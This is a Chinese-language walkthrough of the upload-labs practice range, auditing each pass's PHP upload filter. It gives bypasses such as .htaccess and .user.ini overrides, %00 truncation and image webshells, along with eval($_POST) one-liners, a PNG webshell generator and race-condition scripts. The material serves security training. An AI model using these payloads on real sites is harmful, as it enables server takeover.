0


Upload-labs 1-21关 靶场通关笔记(含代码审计)

环境要求

若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。

配置项 配置 描述
操作系统 Window or Linux 推荐使用Windows,除了Pass-20必须在linux下,其余Pass都可以在Windows上运行
PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破
PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件
中间件 设置Apache以moudel方式连接

Pass-01(JS前端验证)

本pass在客户端使用js对不合法图片进行检查!

方法一:删除JS验证

右键检查元素找到JS绑定的form表单 删除onsubmit后面的代码

上传php文件即可

实战或ctf上传php木马 由于更方便演示效果我这里用<?php phpinfo();?>替代

然后找到上传的文件地址 右键新建标签打开或者F12找到地址访问即可

效果如下

方法二:先上传符合要求的图片 再在burp里面修改后缀即可

Pass-02(MIME验证)

本pass在服务端对数据包的MIME进行检查!

前置知识$_FILES

超全局变量$_FILES是一个二维数组,用来保存客户端上传到服务器的文件信息。二维数组的行是文件域的名称,列有5个。

1、$_FILES[]['name']     #上传的文件名
2、$_FILES[]['type']     #上传的文件类型,这个类型是MIME类型(image/jpeg image/gif image/png)
3、$_FILES[]['size']     #文件的大小,以字节为单位
4、$_FILES[]['tmp_name'] #文件上传时候的临时文件
5、$_FILES[]['error']    #错误编码(值有0、1、2、3、4、6、7)0表示正确1

上传一个4.jpg文件查看效果

阅读代码

$is_upload = false;
$msg = null;
# 判断是否点击了提交按钮
if (isset($_POST['submit'])) {
    # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
    if (file_exists(UPLOAD_PATH)) {
        # 对数据包的MIME进行校验 
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            # 拼接了../upload/xxx.xxx
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']  
            # 将上传的临时文件移动到目录../upload/xxx.xxx     
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                # 移动文件出错
                $msg = '上传出错!';
            }
        } else {
             # 不符合MIMIE类型就报错
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        # 文件路径不存在
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

用burp抓包修改conten-type即可

Pass-03(php3、phtml绕过黑名单)

本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

阅读代码

$is_upload = false;
$msg = null;
# 判断是否点击提交按钮
if (isset($_POST['submit'])) {

    # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp'); //定义黑名单数组
        $file_name = trim($_FILES['upload_file']['name']); //将上传的文件名首尾去除空格
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.'); //截取最后一个点到末尾的字符串(包含.)
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
       
        # 如果上传的文件后缀不在黑名单数组中
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            
            # 将上传的临时文件移动到目录../upload/xxx.xxx  
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单可以用php2 php3 php5 php7 phtml 等绕过

PHP5文件实际上就是.PHP文件,只不过代码由PHP5引擎解析。

PHP5是一种PHP版本间的区分,该后缀名并不常见,另外还有.PHP2、.PHP3和.PHP4文件。而当前最新的PHP版本为PHP7。

phtml 在Apache的httpd.conf里面修改 去除注释 修改config文件后需要重启php服务

我这里要么是403forbidden的 要么是不解析php3等文件

不知道为什么 防火墙和wd都是关闭的 搞了好久都不行

所以用了buuctf的靶场

Pass-04(.htaccess绕过黑名单)

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

前置知识 .htaccess

分布式配置文件

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

代码和第三关类似 就不再阅读了

漏洞原理

利用上传到服务器上的.htaccess文件修改当前目录下的解析规则

形成条件

1.php5.6以下不带nts的版本
2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

(1).htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

SetHandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

.htaccess文件内容如下

<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

思路一

先上传.htaccess文件 再上传一个4.jpg的文件

那么就将该目录及子目录的所有文件均映射为php文件类型。

注意:我使用的php版本为php5.4.45 运行模式为 Apache 2.0 Handler

** ** 在php的nts版本下面无法解析4.jpg为php文件 该运行模式为CGI/FastCGI

非nts的版本:成功

nts的版本:失败

思路二

尝试Apache的未知后缀名解析漏洞

经过测试 在php非nts版本下 运行模式为 **Apache 2.0 Handler **

成功

nts版本会报500 服务器内部错误

思路三

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*

先上传一个名为4.php:.jpg的文件,上传成功后会生成4.php的空文件,大小为0KB.

这一步 我成功了 原理就是在windows环境下 不允许文件命名中含有( \ / : * ? " < > | )

如果有 会自动截断 并生成一个空文件

然后将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。再访问4.php

经过测试 在php非nts版本下 运行模式为 **Apache 2.0 Handler **成功!!!

Pass-05(.user.ini黑名单)

上传目录存在php文件(readme.php)

在php非nts版本下 运行模式为 **Apache 2.0 Handler **

可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三

在php nts版本下我们尝试用.user.ini 进行黑名单的绕过

前置知识 .user.ini

.user.ini
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 官方解释: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。

使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式

优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell

.user.ini

auto_prepend_file=a.jpg

.user.ini文件里的意思是:所有的php文件都自动包含a.jpg文件。.user.ini相当于一个用户自定义的php.ini

思路一

先上传.user.ini文件 再上传含有后门代码的a.jpg文件 根据提示:上传目录存在php文件(readme.php)

所以readme.php会自动包含a.jpg里面的代码 用蚁剑连接即可

a.jpg里面的一句话木马

<?php @eval($_POST['c'])?>
<?=eval($_POST['c'])?>

注意:这里要修改php.ini配置文件

分号是注释 改成和我一样的即可

然后访问readme.php 效果如下 也可以用一句话木马

思路二

用 5.php. .绕过

代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的5.php. .来拼接路径 由于windows在

文件命名中会删除.和空格 所以最终得到的是5.php 因此绕过了黑名单限制

$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;

Pass-06(大小写绕过黑名单)

本关禁止上传.htaccess .user.ini

阅读代码 我这里只截取了关键部分的代码

        $file_name = trim($_FILES['upload_file']['name']);// 首尾去除空格
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//截取最后一个点到末尾的字符串(包含.)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        # 判断是否在黑名单数组中
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
             # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } 

那么我们逆推一下 最后要得到xxx.php 那么$file_ext就要是php 黑名单里面就禁止了pHp

没有禁止phP 、Php 所以将文件名字大小写就绕过了限制

注意:这里php版本选非nts版本的 才能成功

php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚

Pass-07(空格绕过黑名单)

源码我就不放了 和上面关卡的代码类似

阅读代码发现 缺少了首尾去除空格的代码过滤

利用PHP 和 Windows环境的叠加特性 windows系统自动删除文件名后缀的空格 绕过黑名单

Pass-08(点绕过黑名单)

阅读代码发现缺少了deldot函数删除文件名最后一个点(如果有多个连续的.... 会全部删除)

这个函数是作者自己写的 以我现在的水平看不懂 以后再来分析

依旧是用首尾去除空格的后的原来的文件名来保存文件 没有截取后缀名

$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;

那么就和第七关同理 获取的最终文件后缀为“.” 不在黑名单里面

利用Windows系统保存文件的特性 会删除文件后缀名的xxx.php. 最后上传的文件还是xxx.php

Pass-09(::$DATA绕过黑名单)

这一关黑名单,没有对::$DATA 进 行 处 理 使用::$DATA 进行处理,可以使用::$DATA绕过黑名单

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名

Pass-10(点空格点绕过黑名单)

**在php非nts版本下 **

运行模式为 Apache 2.0 Handler

可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三

在php的nts版本中 运行模式为cgi/fastcgi

用 10.php. .绕过

代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的10.php. .来保存文件 由于windows在

文件命名中会自动删除.和空格 所以最终得到的是10.php 因此绕过了黑名单限制

Pass-11(双写php绕过黑名单)

阅读代码 关键代码如下

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } 

发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名

只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空

但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符 因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php

pphphp、phphpp都可以尝试

Pass-12(%00截断白名单)

阅读代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    # 定义了白名单数组
    $ext_arr = array('jpg','png','gif');
    # 截取上传文件名最后一个带点的文件后缀 
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    # 判断后缀名是否都在白名单中
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        # 用$_GET来拼接上传路径 取上传文件的末尾点后缀名 并对文件进行重命名
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        # 移动临时文件到上传目录
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

本关提示:本pass上传路径可控!

代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方

因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg)

这样就通过了白名单校验 并且保存成了php文件

这里就要用到0x00截断的知识

url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,

然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。

本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。

只不过GET传参需要url编码成%00而已

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

%00截断

%00的使用是在路径上!

%00的使用是在路径上!

%00的使用是在路径上!

重要的话说三遍。如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg

** 需要满足的条件**

00截断的限制条件是PHP<5.3.29,且GPC关闭

因为当 magic_quotes_gpc 打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。

magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对**$_REQUEST, $_GET,$_POST,$_COOKIE** 输入的内容进行过滤

实操如下

Pass-13(0x00截断白名单)

同第12关做法相同 只不过上传路径在$_POST数据中不需要url编码

这里说一个小技巧 不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00

Pass-14(文件包含+图片马)

阅读代码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

大致意思就是读取文件头的两字节 将二进制数据转换为ASCII值 进行switch比较 也就是说只验证文件头信息

图⽚⽂件头以及解码(16进制)

1.JPEG

  • ⽂件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG ⽂件标识)

  • ⽂件结束标识 (2 bytes): 0xff, 0xd9 (EOI)

2.PNG

  • ⽂件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A

3.GIF

  • ⽂件头标识 (6 bytes) 47 49 46 38 39(37) 61

                                      G    I   F   8    9 (7)   a
    

那么直接上传图片马就完了

图片马可以用Notepad++打开图片 在图片末尾添加

利用文件包含漏洞 将含有php代码的图片马当做php文件解析

文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写

这里利用get传参 将图片木马里面的代码复制过来并执行

include.php?file=upload/7920221011132540.png

Pass-15(文件包含+图片马)

同第14关

阅读代码 这里只讲解主要函数 其余代码都差不多

getimagesize()函数:

返回一个具有四个单元的数组。

索引 0 包含图像宽度的像素值,

索引 1 包含图像高度的像素值。

索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM。这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应。

索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记。

$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);

function isImage($filename){
    # 定义含有三种图片格式的字符串
    $types = '.jpeg|.png|.gif';
    # 判断是否存在临时文件
    if(file_exists($filename)){
        $info = getimagesize($filename);
       //getimagesize — 取得图像大小 返回一个数组 
      //例如array(7) { 
        [0]=> int(500) 
        [1]=> int(500) 
        [2]=> int(1) 
        [3]=> string(24) "width="500" height="500"" 
        ["bits"]=> int(8) 
        ["channels"]=> int(3) 
        ["mime"]=> string(9) "image/gif" } 
        $ext = image_type_to_extension($info[2]);  //根据指定的图像类型返回对应的后缀名。
        # 判断后缀名是否在字符串中 是返回对应数字 否则返回false
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

做法和第14关相同

Pass-16(文件包含+图片马)

没啥区别 只是换了函数 需要开启

php_exif

模块。

做法和第14关相同

Pass-17(二次渲染+图片马/条件竞争)

函数介绍

basename — 返回路径中的文件名部分

给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。

Note:

basename() 纯粹基于输入字符串操作, 它不会受实际文件系统和类似 "

..

" 的路径格式影响。

例子如下:

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL; 
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?> 

1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6) 

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

imagejpeg()

(PHP 4, PHP 5, PHP 7, PHP 8)

imagejpeg — 输出图象到浏览器或文件。

说明

imagejpeg ( resource

$image

, string

$filename

= ? , int

$quality

= ? ) : bool

imagejpeg()

image

图像以

filename

为文件名创建一个 JPEG 图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的图象资源。

filename

文件保存的路径,如果未设置或为 **

null

**,将会直接输出原始图象流。

如果要省略这个参数而提供

quality

参数,使用NULL。

quality
quality

为可选项,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。默认为 IJG 默认的质量值(大约 75)。

返回值

成功时返回 **

true

**, 或者在失败时返回 **

false

**。

阅读代码

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];
    # 拼接上传路径 例如上传17.png 则 $target_path=../upload/17.png
    $target_path=UPLOAD_PATH.'/'.basename($filename);
    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与MIME类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        // 这里存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path); // 删除上传的原来的文件
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

**二次渲染说白了就是上传的图片 **

他会重新创建画布 然后把里面的东西重新渲染一边

**如果你的代码在里面也可能被渲染一遍 (具体怎么渲染得看底层代码了) **

代码变成图片一部分那就失效了

思路一

所以需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

这里我偷个懒 用别人做好的图片马(因为我搞了好多遍都失败了QAQ) 链接如下:

链接:https://pan.baidu.com/s/1JSGKNwweuqfYPOVzfTpkMQ?pwd=1234 
提取码:1234 

gif直接上传就完事了

png

网上找的代码直接生成 直接运行php脚本自动生成png文件 然后直接上传就完事了

内含一句话木马<?=$_GET[0]($_POST[1]);?>

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,          
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./exp17.png');

/*
<?=$_GET[0]($_POST[1]);?>
*/

?>

访问url

http://192.168.114.200/upload-labs-master/include.php?file=upload/13083.png&0=phpinfo

jpg比较困难 这里略

思路二

条件竞争

由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件

由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码

由于他先上传 然后又原封不动的保存我们上传的文件 所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件

但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了

代码如下 插入到png图片中即可

<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>

所以需要一边不停用burp不停地上传 然后另一边不断的访问 访问的文件需要有写的权限不然还是不行 还好这里靶场

访问的py脚本如下不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种

import requests

url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

然后用burp的Intruder模块不停的发包就行了

两边同时运行就行了

然后查看我们的文件夹 发现有shell.php就成功了

Pass-18(条件竞争)

这关代码就不放了 还是和17关一样 也是先上传 再进行验证的 不符合就删除

依旧利用时间差来攻击 直接上传php文件

<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>

py脚本如下:

import requests
url = "http://192.168.114.200/upload-labs-master/upload/18.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("发包中")

burp不停地发包

最后得到shell18.php

Pass-19(条件竞争+白名单+其他漏洞配合)

本关需要阅读index.php和myupload.php

index.php关键代码如下

if (isset($_POST['submit']))
{
    require_once("./myupload.php");// 包含一次myupload.php 出错会终止执行后面的代码
    $imgFileName =time();// 根据当前时间生成文件名

    // 创建文件上传类 并传递四个文件上传的基本参数
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    
    $status_code = $u->upload(UPLOAD_PATH);//设置上传目录 define("UPLOAD_PATH","../upload");

myupload.php关键代码如下

<?php

# 定义了 MyUpload类
class MyUpload{    
   
  // 定义了一大堆东西 重点看$cls_arr_ext_accepted白名单 上传路径$cls_upload_dir 
  var $cls_upload_dir = "";         // Directory to upload to.
  var $cls_filename = "";           // Name of the upload file.
  var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.

  //  函数传递了$_FILES['upload_file']['name'], 
  //               $_FILES['upload_file']['tmp_name'], 
  //               $_FILES['upload_file']['size'],
  //               $imgFileName=time()
  function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;
    $this->cls_tmp_filename = $tmp_file_name;
    $this->cls_filesize = $file_size;
    $this->cls_file_rename_to = $file_rename_to;
  }
   
  // 判断文件是否为http post方式上传
  function isUploadedFile(){
    
    if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
      return "IS_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
  }

   
   /*先判断../upload/文件夹是否可写 
     然后赋值给$this->cls_upload_dir 不过这里缺少个"/"
     需要自己添加*/
  function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir."/"; //  $this->cls_upload_dir = "../upload/"
      return 1;
    }
  }

    // 判断是否在白名单中 白名单验证
    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

   // 检查文件大小 可忽略
  function checkSize(){
    if( $this->cls_filesize > $this->cls_max_filesize ){
      return "FILE_SIZE_FAILURE";
    } else {
      return 1;
    }
  }

   // 移动临时文件到upload目录
  function move(){
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }
   // 检查上传文件夹../upload/time()是否存在
  function checkFileExists(){
    if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
      return "FILE_EXISTS_FAILURE";
    } else {
      return 1;
    }
  }
    
  // 将上面函数进行整合
  function upload( $dir ){
    // 太多了略
 }

?>

upload()函数大致思路如下:

  1. 判断文件是否为http post方式上传
  2. 建立文件夹
  3. 白名单验证后缀名
  4. 检查大小
  5. 检查上传文件夹是否存在
  6. 移动临时文件到上传目录
  7. 对文件进行重命名

同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马

思路一

白名单+条件竞争+Apache未知后缀名解析漏洞

上传一个Apache不识别的后缀名 通过条件竞争访问php文件 写入木马成功

我这里用19.php.ppt

**注意Apache未知后缀名解析漏洞适用 php ts 版本 **

这里我用的版本5.5.38

py脚本如下

import requests

url = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("发包中")

burp不断发包

成功

访问shell19.php

PS:其实你上传任何白名单的后缀都可以 包括图片等等 如果有时间的话我会研究一下漏洞的底层原因

思路二

白名单+条件竞争+文件包含漏洞

通用于php的nts和ts版本 因为是文件包含

py脚本代码如下:

import requests

url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/19.jpg"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

剩余操作和第17、18关一样

非预期解

PS:由于是文件包含 不用条件竞争也是可以的 上传图片马直接包含就行了

Pass-20(黑名单+上传路径可控)

pathinfo()函数

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?> 

/www/htdocs/inc
lib.inc.php
php
lib.inc

产生漏洞的代码 $_POST传参导致文件上传路径可控

$file_name = $_POST['save_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;

方法就很多了

.user.ini绕过——Pass05

大小写绕过——Pass06

末尾加空格或点或::$DATA绕过——Pass07、08、09

apache多后缀解析绕过
